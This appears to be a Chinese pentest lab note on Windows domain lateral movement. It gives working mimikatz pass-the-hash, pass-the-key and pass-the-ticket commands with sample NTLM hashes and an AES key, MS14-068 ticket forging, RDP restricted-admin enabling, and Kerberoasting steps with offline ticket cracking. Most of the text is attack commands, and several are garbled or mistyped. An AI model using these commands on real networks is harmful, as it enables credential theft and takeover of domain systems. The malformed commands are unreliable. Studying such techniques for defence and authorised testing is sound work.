内网渗透-横向渗透2
1.域横向 PTH&PTK&PTT 传递哈希票据
1.域横向移动 PTH 传递
- PTH(pass the hash) #利用 lm 或 ntlm 渗透试验的值
- PTT(pass the ticket) #使用的票据凭证 TGT 渗透试验
- PTK(pass the key) #利用的 ekeys aes256 渗透试验
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 远程连接,但使用 mimikatz 还是可 攻击成功。
对于 win8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可用 AES keys 代替 NT hash 来实现 ptk 攻击,
总结: 补丁后的影响
pth:没有补丁的用户可以连接,只能打补丁 administrator 连接
ptk:用户可以用补丁连接 aes256 连接
利用Mimikatz获取到NTML
然后执行命令:
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
建立连接:
dir \\192.168.1.1\c$
2.域横向移动 PTK 传递
攻击方式:
利用Mimikatz获取到aes然后进行攻击
补丁后的工作组和域连接: sekurlsa::ekeys #获取 aes sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
三、域横向移动 PTT 传递
PTT 攻击部分不简单 NTLM 认证,是用的 Kerberos 协议攻击,这里介绍三种 常见的攻击方法:MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据),简单来说就是注入合法票据连接 在内存中实现连接
普通用户可以直接获得域控 system 权限
MS14-068 powershell 执行
1.查看当前用户 sid
whoami/user
2.清空当前机器中的所有凭证。如果有域成员凭证,会影响伪造凭证
mimikatz # kerberos::purge mimikatz # kerberos::list ///查看当前机器凭证 mimikatz # kerberos::ptc 票据文件 ////将票据注入内存
3.利用 ms14-068 生成 TGT 数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 - p 123456
4.内存注入票据
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
5.查看凭证列表
klist
6.利用
dir \\192.168.1.1\c$ dir \\OWA2010CN-God.god.org
1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证
klist
4.利用 net use 载入
dir \\192.168.1.1\c$
sekurlsa::tickets /export kerberos::ptt xxxxxxxxxx.xxxx.kirbi
总结:ptt 基于漏洞、工具和当地票据,无需当地管理员的权限进行传输。
4.国产 Ladon 内网杀手测试验收
信息收集-协议扫描-漏洞探针-传输攻击
2.域横向 CobaltStrike&SPN&RDP
1.域横向移动 RDP 传递
除了IPC,WMI,SMB,通过协议获得的明文密码或HASH也可以通过密文RDP链接操作协议,
RDP协议连接:判断对方的远程桌面服务是否打开(默认:3389端口)
:
Windows: mstsc mstsc.exe /console /v:192.168.1.1 /admin linux: rdesktop 192.168.1.1:3389
windows Server需要开启Restricted Admin mode,在windows 8.1和Windows Server 2012 R如果2中默认打开,同时如果Win 7 和windows Server2008 R还支持287197、2973351补丁的安装;开始命令:
REG ADD "HKLM\System\CurrentControlSet \Control \Lsa"/VDisableRestrictedAdmin /t REG DWORD/ d 00000000/ f
开启后操作:
mstsc.exe /restrictedadmin mimikatz.exe privilege::debug sekurlsa::pth /user:mary /domain:god /ntml:518b98ad4178a53695dc997aa02d455c "run:mstsc.exe /restrictedadmin"
2.域横向移动SPN服务
黑客可以使用有效的域用户身份验证票(TGT)在服务器上运行一个或多个目标服务的服务票。DC搜索活动目录SPN,并使用与SPN相关服务账户加密票证,以验证用户是否可以访问。Kerberos服务票的加密类型是 RC4_HMAC_MD5.这意味着服务账户NTLM加密服务票证采用密码哈希。黑客将收到的Tcs离线破解票据,即可获得目标服务账户HASH,这个称之为Kerberoast攻击。如果我们有域用户账户注册的任何一个SPN,然后用户账户的明文密码NTLM哈希值将用于创建服务票。这就是Kerberoasting攻击的关键。
使用setspn或powerview(powershell模块Active Directory 需要提前安装,域控制器一般可以自行安装)等工具
import-module .\Microsoft.ActiveDirectory.Management.dll
code>setspn -q */* setspn -q */*l findstr "MSSQL"
Add-Type -AssemblyName System. Identi tyModel
New-Object
System. Identi tyModel . Tokens . Kerbe rosRequestorSecurityToken - ArgumentList "XXXX" #xxxx为服务名如mysql
mimikatz.exe "kerberos: :ask / target: XXXX"
mimikatz.exe "kerberos: :list /export "
或者使用empire的kerberoast模块或者使用PowerSploit中的Invoke-Kerberoast组件
使用[tgsrepcrackck.py]
开始离线密码破解,或者使用[kirbi2john.py]
从原始票据中提取可破解的哈希格式
python tgsrepcrack.py passwd. txt XXxx.kirbi
python3 . \tgsrepcrack.py . \password.txt . \1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day . org~1433-0DAY .0RG.kirbi
python kerberoast.py -P Password123 -r Xxxx.kirbi -w PENTESTLAB. kirbi -u 500
python kerberoast.py -p Password123 -r XXxx.kirbi -W PENTESTLAB. kirbi -g 512
mimikatz.exe kerberos::ptt xxxx. kirbi #将生成的票据注入内存
https://github.com/nidem/kerberoast
: 1、查询SPN,找到有价值的SPN,需要满足的条件:该SPN注册在域用户帐户(Users)下 并且 域用户账户的权限很高 2、请求TGS 3、导出TGS 4、暴力破解